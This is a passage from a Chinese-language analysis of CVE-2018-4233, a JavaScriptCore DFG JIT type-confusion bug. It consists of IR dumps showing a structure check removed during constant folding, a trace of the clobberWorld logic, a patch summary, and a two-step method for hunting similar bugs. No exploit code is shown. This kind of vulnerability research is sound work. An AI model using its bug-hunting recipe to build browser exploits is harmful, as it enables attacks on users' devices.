2:< 1:-> SetArgument(IsFlushed, arg2(C~<Double>/FlushedJSValue), W:SideState, bc#0, ExitValid) predicting NonIntAsdouble
3:< 1:-> JSConstant(JS|PureInt, Other, Undefined, bc#0, ExitValid)
4:<!0:-> MovHint(Untyped:@3, MustGen, loc0, W:SideState, ClobbersExit, bc#0, ExitValid)
5:< 1:-> SetLocal(Untyped:@3, loc0(D~<Other>/FlushedJSValue), W:Stack(-1), bc#0, ExitInvalid) predicting Other
6:<!0:-> MovHint(Untyped:@3, MustGen, loc1, W:SideState, ClobbersExit, bc#0, ExitInvalid)
7:< 1:-> SetLocal(Untyped:@3, loc1(E~<Other>/FlushedJSValue), W:Stack(-2), bc#0, ExitInvalid) predicting Other
8:<!0:-> MovHint(Untyped:@3, MustGen, loc2, W:SideState, ClobbersExit, bc#0, ExitInvalid)
9:< 1:-> SetLocal(Untyped:@3, loc2(F~<Other>/FlushedJSValue), W:Stack(-3), bc#0, ExitInvalid) predicting Other
10:<!0:-> MovHint(Untyped:@3, MustGen, loc3, W:SideState, ClobbersExit, bc#0, ExitInvalid)
11:< 1:-> SetLocal(Untyped:@3, loc3(G~<Other>/FlushedJSValue), W:Stack(-4), bc#0, ExitInvalid) predicting Other
12:<!0:-> MovHint(Untyped:@3, MustGen, loc4, W:SideState, ClobbersExit, bc#0, ExitInvalid)
13:< 1:-> SetLocal(Untyped:@3, loc4(H~<Other>/FlushedJSValue), W:Stack(-5), bc#0, ExitInvalid) predicting Other
14:<!0:-> MovHint(Untyped:@3, MustGen, loc5, W:SideState, ClobbersExit, bc#0, ExitInvalid)
15:< 1:-> SetLocal(Untyped:@3, loc5(I~<Other>/FlushedJSValue), W:Stack(-6), bc#0, ExitInvalid) predicting Other
16:< 1:-> JSConstant(JS|PureInt, Function, Weak:Object: 0x11cd74000 with butterfly 0x10000fe668 (Structure %En:Function), StructureID: 290, bc#1, ExitValid)
17:< 1:-> JSConstant(JS|PureInt, OtherObj, Weak:Object: 0x10000e4000 with butterfly 0x0 (Structure %Bl:JSLexicalEnvironment), StructureID: 73, bc#1, ExitValid)
18:<!0:-> MovHint(Untyped:@17, MustGen, loc3, W:SideState, ClobbersExit, bc#1, ExitValid)
19:< 1:-> SetLocal(Untyped:@17, loc3(J~<Object>/FlushedJSValue), W:Stack(-4), bc#1, exit: bc#3, ExitValid) predicting OtherObj
20:<!0:-> MovHint(Untyped:@17, MustGen, loc4, W:SideState, ClobbersExit, bc#3, ExitValid)
21:< 1:-> SetLocal(Untyped:@17, loc4(K~<Object>/FlushedJSValue), W:Stack(-5), bc#3, exit: bc#6, ExitValid) predicting OtherObj
22:<!0:-> CheckTraps(MustGen, W:Watchpoint_fire, Exits, ClobbersExit, bc#6, ExitValid)
41:<!0:-> InvalidationPoint(MustGen, W:SideState, Exits, bc#7, ExitValid)
23:<!0:-> GetLocal(Untyped:@0, JS|MustGen|UseAsOther, ProxyObject, this(a), R:Stack(5), bc#7, ExitValid) predicting ProxyObject
24:<!0:-> MovHint(Untyped:@23, MustGen, loc5, W:SideState, ClobbersExit, bc#7, ExitValid)
25:< 1:-> SetLocal(Untyped:@23, loc5(L~<Object>/FlushedJSValue), W:Stack(-6), bc#7, exit: bc#10, ExitValid) predicting ProxyObject
26:< 1:-> CreateThis(Cell:@23, JS|UseAsOther, Final, R:HeapObjectCount,MiscFields, W:HeapObjectCount, Exits, ClobbersExit, bc#10, ExitValid)
27:<!0:-> MovHint(Untyped:@26, MustGen, this, W:SideState, ClobbersExit, bc#10, ExitInvalid)
28:< 1:-> SetLocal(Untyped:@26, this(M!<Final>/FlushedJSValue), W:Stack(5), bc#10, exit: bc#15, ExitValid) predicting Final
29:<!0:-> Check(MustGen, Array, bc#15, ExitValid)
30:<!0:-> CheckNotEmpty(Untyped:@42, MustGen, Exits, bc#15, ExitValid)
31:< 1:-> JSConstant(JS|PureNum|UseAsOther|UseAsInt|ReallyWantsInt, BoolInt32, Int32: 0, bc#17, ExitValid)
32:<!0:-> GetLocal(Untyped:@2, JS|MustGen|UseAsOther, NonIntAsdouble, arg2(C~<Double>/FlushedJSValue), R:Stack(7), bc#17, ExitValid) predicting NonIntAsdouble
38:<!0:-> CheckStructure(Cell:@42, MustGen, [%Dy:Array], R:JSCell_structureID, Exits, bc#17, ExitValid)
39:< 1:-> GetButterfly(Cell:@42, Storage|PureInt, R:JSObject_butterfly, Exits, bc#17, ExitValid)
40:< 1:-> DoubleRep(Check:RealNumber:@32, Double|PureInt, BytecodeDouble, Exits, bc#17, ExitValid)
33:<!0:-> PutByVal(KnownCell:@42, Int32:@31, DoubleRepReal:@40<Double>, Untyped:@39, MustGen|VarArgs, Double+OriginalArray+InBounds+AsIs, R:Butterfly_publicLength,Butterfly_vectorLength,IndexedDoubleProperties, W:IndexedDoubleProperties, Exits, ClobbersExit, bc#17, ExitValid)
34:<!0:-> Return(Untyped:@26, MustGen, W:SideState, Exits, bc#22, ExitValid)
35:<!0:-> Flush(Check:Untyped:@2, MustGen|IsFlushed, arg2(C~<Double>/FlushedJSValue), R:Stack(7), W:SideState, bc#22, ExitValid) predicting NonIntAsdouble
36:<!0:-> Flush(Check:Untyped:@1, MustGen|IsFlushed, arg1(B<Array>/FlushedCell), R:Stack(6), W:SideState, bc#22, ExitValid) predicting Array
37:<!0:-> Check(MustGen, bc#22, ExitValid)
States: InvalidBranchDirection, StructuresAreWatched, CFAInvalidated
Vars After:
Var Links: arg2:@32 arg1:@42 arg0:@28 loc0:@5 loc1:@7 loc2:@9 loc3:@19 loc4:@21 loc5:@25

GC Values:
Weak:Object: 0x10000e4000 with butterfly 0x0 (Structure %Bl:JSLexicalEnvironment), StructureID: 73
Weak:Object: 0x11cd74000 with butterfly 0x10000fe668 (Structure %En:Function), StructureID: 290
Desired watchpoints:
Watchpoint sets:
Inline watchpoint sets: 0x11cdf3080, 0x11cdf1fe0, 0x11cdf0060, 0x11cdf27c0, 0x11cdf0760, 0x11cd701b0, 0x11cdf01b0
Inferred values: 0x11cdd8f00
Buffer views:
Object property conditions:
Inferred types:
Structures:
%Bl:JSLexicalEnvironment = 0x11cdf1f80:[JSLexicalEnvironment, {}, NonArray, Leaf]
%Dy:Array = 0x11cdf2760:[Array, {}, ArrayWithDouble, Proto:0x11cdb4090, Leaf]
%En:Function = 0x11cd70150:[Function, {prototype:100}, NonArray, Proto:0x11cdd0000, Leaf]

Beginning DFG phase CFG simplification.
(After constant folding and)Before CFG simplification:

DFG for assign#Ei5h05:[0x11cd78720->0x11cd78260->0x11cd98f20, DFGFunctionConstruct, 24]:
Fixpoint state: FixpointNotConverged; Form: ThreadedCPS; Unification state: GloballyUnified; Ref count state: EverythingIsLive
Arguments for block#0: @0, @1, @2

Block #0 (bc#0): (OSR target)
Execution count: 1.000000
Predecessors:
Successors:
Dominated by: #root #0
Dominates: #0
Dominance Frontier:
Iterated Dominance Frontier:
States: StructuresAreWatched
Vars Before: arg2:(Top|Empty, TOP, TOP) arg1:(Cell|Empty, TOP, TOP) arg0:(Cell|Empty, TOP, TOP)
Intersected Vars Before: arg2:(Top|Empty, TOP, TOP) arg1:(Cell|Empty, TOP, TOP) arg0:(Cell|Empty, TOP, TOP)
Var Links: arg2:@2 arg1:@1 arg0:@0
0:< 1:-> SetArgument(this(a), W:SideState, bc#0, ExitValid) predicting ProxyObject
1:< 1:-> SetArgument(IsFlushed, arg1(B<Array>/FlushedCell), W:SideState, bc#0, ExitValid) predicting Array
42:<!0:-> GetLocal(Untyped:@1, JS|MustGen|PureInt, Array, arg1(B<Array>/FlushedCell), R:Stack(6), bc#0, ExitValid) predicting Array
44:<!0:-> AssertNotEmpty(Check:Untyped:@42, MustGen, W:SideState, Exits, bc#0, ExitValid)
43:<!0:-> CheckStructure(Cell:@42, MustGen, [%Dy:Array], R:JSCell_structureID, Exits, bc#0, ExitValid)
2:< 1:-> SetArgument(IsFlushed, arg2(C~<Double>/FlushedJSValue), W:SideState, bc#0, ExitValid) predicting NonIntAsdouble
3:< 1:-> JSConstant(JS|PureInt, Other, Undefined, bc#0, ExitValid)
4:<!0:-> MovHint(Untyped:@3, MustGen, loc0, W:SideState, ClobbersExit, bc#0, ExitValid)
5:< 1:-> SetLocal(Untyped:@3, loc0(D~<Other>/FlushedJSValue), W:Stack(-1), bc#0, ExitInvalid) predicting Other
6:<!0:-> MovHint(Untyped:@3, MustGen, loc1, W:SideState, ClobbersExit, bc#0, ExitInvalid)
7:< 1:-> SetLocal(Untyped:@3, loc1(E~<Other>/FlushedJSValue), W:Stack(-2), bc#0, ExitInvalid) predicting Other
8:<!0:-> MovHint(Untyped:@3, MustGen, loc2, W:SideState, ClobbersExit, bc#0, ExitInvalid)
9:< 1:-> SetLocal(Untyped:@3, loc2(F~<Other>/FlushedJSValue), W:Stack(-3), bc#0, ExitInvalid) predicting Other
10:<!0:-> MovHint(Untyped:@3, MustGen, loc3, W:SideState, ClobbersExit, bc#0, ExitInvalid)
11:< 1:-> SetLocal(Untyped:@3, loc3(G~<Other>/FlushedJSValue), W:Stack(-4), bc#0, ExitInvalid) predicting Other
12:<!0:-> MovHint(Untyped:@3, MustGen, loc4, W:SideState, ClobbersExit, bc#0, ExitInvalid)
13:< 1:-> SetLocal(Untyped:@3, loc4(H~<Other>/FlushedJSValue), W:Stack(-5), bc#0, ExitInvalid) predicting Other
14:<!0:-> MovHint(Untyped:@3, MustGen, loc5, W:SideState, ClobbersExit, bc#0, ExitInvalid)
15:< 1:-> SetLocal(Untyped:@3, loc5(I~<Other>/FlushedJSValue), W:Stack(-6), bc#0, ExitInvalid) predicting Other
16:< 1:-> JSConstant(JS|PureInt, Function, Weak:Object: 0x11cd74000 with butterfly 0x10000fe668 (Structure %En:Function), StructureID: 290, bc#1, ExitValid)
17:< 1:-> JSConstant(JS|PureInt, OtherObj, Weak:Object: 0x10000e4000 with butterfly 0x0 (Structure %Bl:JSLexicalEnvironment), StructureID: 73, bc#1, ExitValid)
18:<!0:-> MovHint(Untyped:@17, MustGen, loc3, W:SideState, ClobbersExit, bc#1, ExitValid)
19:< 1:-> SetLocal(Untyped:@17, loc3(J~<Object>/FlushedJSValue), W:Stack(-4), bc#1, exit: bc#3, ExitValid) predicting OtherObj
20:<!0:-> MovHint(Untyped:@17, MustGen, loc4, W:SideState, ClobbersExit, bc#3, ExitValid)
21:< 1:-> SetLocal(Untyped:@17, loc4(K~<Object>/FlushedJSValue), W:Stack(-5), bc#3, exit: bc#6, ExitValid) predicting OtherObj
22:<!0:-> CheckTraps(MustGen, W:Watchpoint_fire, Exits, ClobbersExit, bc#6, ExitValid)
41:<!0:-> InvalidationPoint(MustGen, W:SideState, Exits, bc#7, ExitValid)
23:<!0:-> GetLocal(Untyped:@0, JS|MustGen|UseAsOther, ProxyObject, this(a), R:Stack(5), bc#7, ExitValid) predicting ProxyObject
24:<!0:-> MovHint(Untyped:@23, MustGen, loc5, W:SideState, ClobbersExit, bc#7, ExitValid)
25:< 1:-> SetLocal(Untyped:@23, loc5(L~<Object>/FlushedJSValue), W:Stack(-6), bc#7, exit: bc#10, ExitValid) predicting ProxyObject
26:< 1:-> CreateThis(Cell:@23, JS|UseAsOther, Final, R:HeapObjectCount,MiscFields, W:HeapObjectCount, Exits, ClobbersExit, bc#10, ExitValid)
27:<!0:-> MovHint(Untyped:@26, MustGen, this, W:SideState, ClobbersExit, bc#10, ExitInvalid)
28:< 1:-> SetLocal(Untyped:@26, this(M!<Final>/FlushedJSValue), W:Stack(5), bc#10, exit: bc#15, ExitValid) predicting Final
29:<!0:-> Check(MustGen, Array, bc#15, ExitValid)
30:<!0:-> Check(MustGen, bc#15, ExitValid)
31:< 1:-> JSConstant(JS|PureNum|UseAsOther|UseAsInt|ReallyWantsInt, BoolInt32, Int32: 0, bc#17, ExitValid)
32:<!0:-> GetLocal(Untyped:@2, JS|MustGen|UseAsOther, NonIntAsdouble, arg2(C~<Double>/FlushedJSValue), R:Stack(7), bc#17, ExitValid) predicting NonIntAsdouble
38:<!0:-> Check(MustGen, bc#17, ExitValid)
39:< 1:-> GetButterfly(Cell:@42, Storage|PureInt, R:JSObject_butterfly, Exits, bc#17, ExitValid)
40:< 1:-> DoubleRep(Check:RealNumber:@32, Double|PureInt, BytecodeDouble, Exits, bc#17, ExitValid)
33:<!0:-> PutByVal(KnownCell:@42, Int32:@31, DoubleRepReal:@40<Double>, Untyped:@39, MustGen|VarArgs, Double+OriginalArray+InBounds+AsIs, R:Butterfly_publicLength,Butterfly_vectorLength,IndexedDoubleProperties, W:IndexedDoubleProperties, Exits, ClobbersExit, bc#17, ExitValid)
34:<!0:-> Return(Untyped:@26, MustGen, W:SideState, Exits, bc#22, ExitValid)
35:<!0:-> Flush(Check:Untyped:@2, MustGen|IsFlushed, arg2(C~<Double>/FlushedJSValue), R:Stack(7), W:SideState, bc#22, ExitValid) predicting NonIntAsdouble
36:<!0:-> Flush(Check:Untyped:@1, MustGen|IsFlushed, arg1(B<Array>/FlushedCell), R:Stack(6), W:SideState, bc#22, ExitValid) predicting Array
37:<!0:-> Check(MustGen, bc#22, ExitValid)
States: InvalidBranchDirection, StructuresAreWatched, CFAInvalidated
Vars After:
Var Links: arg2:@32 arg1:@42 arg0:@28 loc0:@5 loc1:@7 loc2:@9 loc3:@19 loc4:@21 loc5:@25

GC Values:
Weak:Object: 0x10000e4000 with butterfly 0x0 (Structure %Bl:JSLexicalEnvironment), StructureID: 73
Weak:Object: 0x11cd74000 with butterfly 0x10000fe668 (Structure %En:Function), StructureID: 290
Desired watchpoints:
Watchpoint sets:
Inline watchpoint sets: 0x11cdf3080, 0x11cdf1fe0, 0x11cdf0060, 0x11cdf27c0, 0x11cdf0760, 0x11cd701b0, 0x11cdf01b0
Inferred values: 0x11cdd8f00
Buffer views:
Object property conditions:
Inferred types:
Structures:
%Bl:JSLexicalEnvironment = 0x11cdf1f80:[JSLexicalEnvironment, {}, NonArray, Leaf]
%Dy:Array = 0x11cdf2760:[Array, {}, ArrayWithDouble, Proto:0x11cdb4090, Leaf]
%En:Function = 0x11cd70150:[Function, {prototype:100}, NonArray, Proto:0x11cdd0000, Leaf]

可以发现,GetButterfly之前的CheckStructure在常量折叠过程被优化掉了;对比clobberWorld版本,GetButterfly之前的CheckStructure仍保留。因此clobberWorld最终影响了constant folding phase。

跟踪constant folding phase,第187行的node->remove(m_graph)直接导致CheckStructure从IR的控制流图中被删除:

image-20190102151417012

进入if结构需要满足185行的if表达式为真,那么value.m_structure.isSubsetOf(set)就很重要了。

重新调试,为了找到对clobberWorld的调用,在DFG::AbstractInterpreterInlines.h的executeEffects函数case CreateThis选项下断点。发现停在了CFA phase(Control Flow Analysis)阶段,而这几个phase的顺序是:

invalidationpoint injection -> structure check hoisting -> strength reduction -> cps rethreading -> cfa -> constant folding

executeEffects是在CFA阶段内发生的,那么CFA之前的阶段不需要关注。

跟进clobberWorld,在多层的调用中,有对m_set.setReservedFlag的赋值:

image-20190102152930069

1
2
3
4
5
6
7
8
9
static const uintptr_t reservedFlag = 2;
...
void setReservedFlag(bool value)
{
if (value)
m_pointer |= reservedFlag;
else
m_pointer &= ~reservedFlag;
}

之后,在constant folding phase:

image-20190102153202255

跟进value.m_structure.isSubsetof(set):

image-20190102153329999

由此解决了clobberWorld在AbstractInterpreter的前后呼应问题。

六、总结

CVE-2018-4233可以总结为CreateThis side effect导致的类型混淆漏洞,补丁修改了两处位置,AbstractInterpreter、Clobberize,这两处的任意一个均可以使PoC失效。相比2017年Moblie Pwn2Own中Vulcan团队使用的GetPropertyEnumerator/HasGenericProperty side effect漏洞的补丁,这个补丁更加全面地展示了这个漏洞的模式和面貌。挖掘出这种类型的漏洞,只需要两步:

  • 寻找具有回调特性的DFG IR
  • 寻找DFG IR的模型问题

然后就可以尝试构造漏洞了。